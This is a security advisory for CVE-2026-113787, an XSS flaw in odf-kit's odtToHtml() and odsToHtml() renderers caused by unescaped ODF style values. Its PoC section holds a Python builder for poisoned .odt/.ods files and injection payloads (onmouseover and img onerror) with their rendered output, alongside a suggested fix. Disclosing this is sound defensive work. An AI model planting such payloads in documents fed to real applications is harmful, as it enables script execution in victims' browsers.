---
id: CVE-2026-113787
aliases:
  - GHSA-3cgg-c5pp-57h6
title: >-
  odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via
  unescaped style attribute values
summary: >-
  odf-kit: HTML injection leading to XSS in odtToHtml() and odsToHtml() via
  unescaped style attribute values
severity: medium
cvss: 6.1
cwe:
  - CWE-79
vendor: odf-kit
product: odf-kit
ecosystem: npm
affected:
  - 'odf-kit >= 0.6.0, < 0.14.2'
patched:
  - odf-kit 0.14.2
published: '2026-11-04'
updated: '2026-11-04'
sourceUpdated: '2026-11-04T16:14:35Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-3cgg-c5pp-57h6'
references:
  - url: >-
      https://github.com/GitHubNewbie0/odf-kit/security/advisories/GHSA-3cgg-c5pp-57h6
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-113787'
  - url: >-
      https://github.com/GitHubNewbie0/odf-kit/commit/fa3abc5a7a757f56c7212b2dbe99d1d2db995420
  - url: 'https://github.com/GitHubNewbie0/odf-kit/releases/tag/v0.14.2'
  - url: 'https://github.com/advisories/GHSA-3cgg-c5pp-57h6'
tags:
  - ghsa
  - npm
  - cve.org
epss: 0.00246
epssPercentile: 0.15959
ingestedAt: '2026-10-21T16:05:17.701Z'
---

## Overview

### Summary

ODF style attribute values are interpolated into `style="..."` attributes without HTML-escaping in **both** of odf-kit's to-HTML renderers (`odtToHtml` and `odsToHtml`). A double-quote character inside an attacker-controlled style value breaks out of the attribute, allowing arbitrary HTML/attribute injection — and therefore script execution (XSS) — from a crafted `.odt` or `.ods` file wherever the rendered output is inserted as HTML, which is the documented purpose of both functions.

### Details

#### ODT renderer (`src/odt/to-html/html-renderer.ts`)

The renderer has an `escapeHtml()` helper and applies it consistently to text content and to attribute values — `href`, `src`, `alt`, `id`, `data-author`, `data-date`, citation text all go through it. The inline CSS strings do not.

In `renderTextSpan` (dist/odt/to-html/html-renderer.js:195):

```js
const css = spanStyleToCss(span.style);
if (css)
    html = `<span style="${css}">${html}</span>`;
```

The value of e.g. `fo:color` is copied from the document into `style.fontColor` verbatim by the parser (`extractSpanStyle`, read/parser.js:348), then concatenated raw into the attribute. A `"` in the value terminates the attribute early.

The same unescaped `style="${...}"` pattern appears at roughly ten other emission sites: paragraph and heading (`paragraphStyleToCss`), table cells and rows (`cellStyleToCss`, `rowStyleToCss`), `<col>`, and the image style attribute. The affected source attributes include `fo:color`, `fo:background-color`, `fo:text-shadow`, `fo:letter-spacing`, `fo:font-family` (via both direct and font-face resolution), `fo:margin-*`, `fo:padding-*`, `fo:line-height`, `fo:border*`, and `style:vertical-align`.

#### ODS renderer (`src/ods/to-html/html-renderer.ts`) — same bug

`buildInlineStyle()` assembles the CSS string from cell formatting properties — `fo:color`, `fo:font-size`, `fo:font-family`, `fo:background-color`, `fo:text-align`, etc. — with zero `escapeHtml` calls, and `renderCell` emits it raw (line 65):

```ts
if (includeStyles && cell.formatting) {
    const style = buildInlineStyle(cell.formatting);
    if (style) attrs.push(`style="${style}"`);
}
```

Additionally, `row.height` (from `style:row-height`) goes raw into the row element (line 95):

```ts
const style = includeStyles && row.height ? ` style="height:${row.height}"` : "";
return `<tr class="${prefix}-row"${style}>${cells}</tr>`;
```

The same injection is reachable through the public `odf-kit/ods/to-html` export (`odsToHtml()`), so both to-HTML directions are affected.

#### Version scope

The `odt/to-html` and `ods/to-html` modules first shipped in **0.14.0**; the current latest release is **0.14.1**. The PoCs were re-ran against the unreleased `main` branch (commit `270a361`) — both injections still fire, so no fix has landed past the release.

### PoC

Each PoC is a minimal ODF package (`mimetype` + `META-INF/manifest.xml` + `content.xml`) whose `content.xml` contains exactly one poisoned automatic style. The files are generated by this short Python script (stdlib only, no dependencies) — save as `build-pocs.py` and run `python3 build-pocs.py`:

```python
import zipfile

def build(path, mimetype, content):
    # ODF requires 'mimetype' first and stored uncompressed
    with zipfile.ZipFile(path, "w") as z:
        z.writestr(zipfile.ZipInfo("mimetype"), mimetype, compress_type=zipfile.ZIP_STORED)
        z.writestr("META-INF/manifest.xml",
            '<?xml version="1.0" encoding="UTF-8"?>\n'
            '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">\n'
            ' <manifest:file-entry manifest:full-path="/" manifest:media-type="' + mimetype + '"/>\n'
            ' <manifest:file-entry manifest:full-path="content.xml" manifest:media-type="text/xml"/>\n'
            '</manifest:manifest>\n')
        z.writestr("content.xml", content)

ODT = "application/vnd.oasis.opendocument.text"
ODS = "application/vnd.oasis.opendocument.spreadsheet"
HEAD = ('<?xml version="1.0" encoding="UTF-8"?>\n'
        '<office:document-content\n'
        ' xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0"\n'
        ' xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0"\n'
        ' xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0"\n'
        ' xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0">')

Q = "&quot;"
p1 = f"red{Q} onmouseover={Q}alert(1){Q} x={Q}"                       # attribute injection
p2 = f'red{Q}&gt;&lt;img src=x onerror={Q}alert(1){Q}&gt;&lt;x style={Q}'  # full markup injection

# .odt: one paragraph with a poisoned automatic text style
def odt(p):
    return (HEAD + '\n<office:automatic-styles>\n'
        ' <style:style style:family="paragraph" style:name="P1">\n'
        f'  <style:text-properties fo:color="{p}"/>\n'
        ' </style:style>\n</office:automatic-styles>\n'
        '<office:body><office:text><text:p text:style-name="P1">hello</text:p>'
        '</office:text></office:body></office:document-content>\n')

# .ods: one cell with a poisoned automatic cell style
def ods(p):
    return (HEAD + '\n<office:automatic-styles>\n'
        ' <style:style style:family="table-cell" style:name="ce1">\n'
        f'  <style:text-properties fo:color="{p}"/>\n'
        ' </style:style>\n</office:automatic-styles>\n'
        '<office:body><office:spreadsheet><table:table table:name="Sheet1"'
        ' xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0">'
        '<table:table-row><table:table-cell table:style-name="ce1" office:value-type="string">'
        '<text:p>hello</text:p></table:table-cell></table:table-row>'
        '</table:table></office:spreadsheet></office:body></office:document-content>\n')

build("poc1.odt", ODT, odt(p1))
build("poc2.odt", ODT, odt(p2))
build("poc3.ods", ODS, ods(p2))
```

This produces `poc1.odt`, `poc2.odt` and `poc3.ods`. The only attacker-controlled input is the `fo:color` value on the style — for poc1 it reads, as stored in `content.xml`:

```xml
<style:text-properties fo:color="red&quot; onmouseover=&quot;alert(1)&quot; x=&quot;"/>
```


**poc1.odt — attribute injection (ODT).** The `fo:color` value (unescaped) is:

```
red" onmouseover="alert(1)" x="
```

(encoded as `&quot;` in the XML). Output of `odtToHtml(bytes, { fragment: true })`:

```html
<p><span style="color:red" onmouseover="alert(1)" x="">hello</span></p>
```

The quote breaks out of `style`, and `onmouseover` becomes a real attribute on the span.

**poc2.odt — full markup injection (ODT).** The style value is:

```
red"><img src=x onerror="alert(1)"><x style="
```

Output:

```html
<p><span style="color:red"><img src=x onerror="alert(1)"><x style="">hello</span></p>
```

**poc3.ods — same injection via the ODS renderer.** A crafted `.ods` whose cell automatic style carries a poisoned `fo:color` value (same payload as poc2). Output of `odsToHtml(bytes)`:

```html
<tr class="ods-row"><td class="ods-cell" style="color:red"><img src=x onerror="alert(1)"><x style="">hello</td></tr>
```

Reproduction script:

```js
import { readFileSync } from 'fs';
import { odtToHtml } from 'odf-kit/odt/to-html';
import { odsToHtml } from 'odf-kit/ods/to-html';

const bytes = (p) => new Uint8Array(readFileSync(p));

console.log(odtToHtml(bytes('poc2.odt'), { fragment: true }));
console.log(odsToHtml(bytes('poc3.ods')));
```

This was found while auditing ODT import paths in a web application that uses odf-kit as its converter. That application happens to sanitize the output downstream, so minimal standalone reproductions were built against the published odf-kit 0.14.1 package directly in Node.

### Impact

Any consumer that renders `odtToHtml()` or `odsToHtml()` output as HTML — which is both functions' documented purpose — gets XSS from a crafted `.odt`/`.ods` file they convert. Untrusted file → arbitrary tags and attributes → script execution in the host page with the page's origin. The fragment mode (`{ fragment: true }`) is equally affected. The header comment in the ODT renderer currently promises "the output is safe to embed in any context", so consumers may reasonably be relying on that today.

For what it's worth, the sibling paths were checked: the markdown direction does not reach this code, and `escapeHtml` is correctly applied everywhere else I looked in the ODT renderer. The ODS renderer initially appeared clean too, but the `buildInlineStyle` path above is the second instance of the same defect.

### Suggested fix

Escape the assembled CSS string at every `style="${...}"` site, in both renderers:

```js
html = `<span style="${escapeHtml(css)}">${html}</span>`
```

(or, stronger, validate/allowlist the parsed style values at parse time — they are all supposed to be color literals, lengths, or keywords, so a strict per-property format check would also work; escaping `row.height` in the ODS renderer at line 95 as well). The per-site escape is the minimal fix consistent with the rest of the ODT file.

## Affected packages

- `odf-kit >= 0.6.0, < 0.14.2`

## Remediation

Upgrade to a patched release:

- `odf-kit 0.14.2`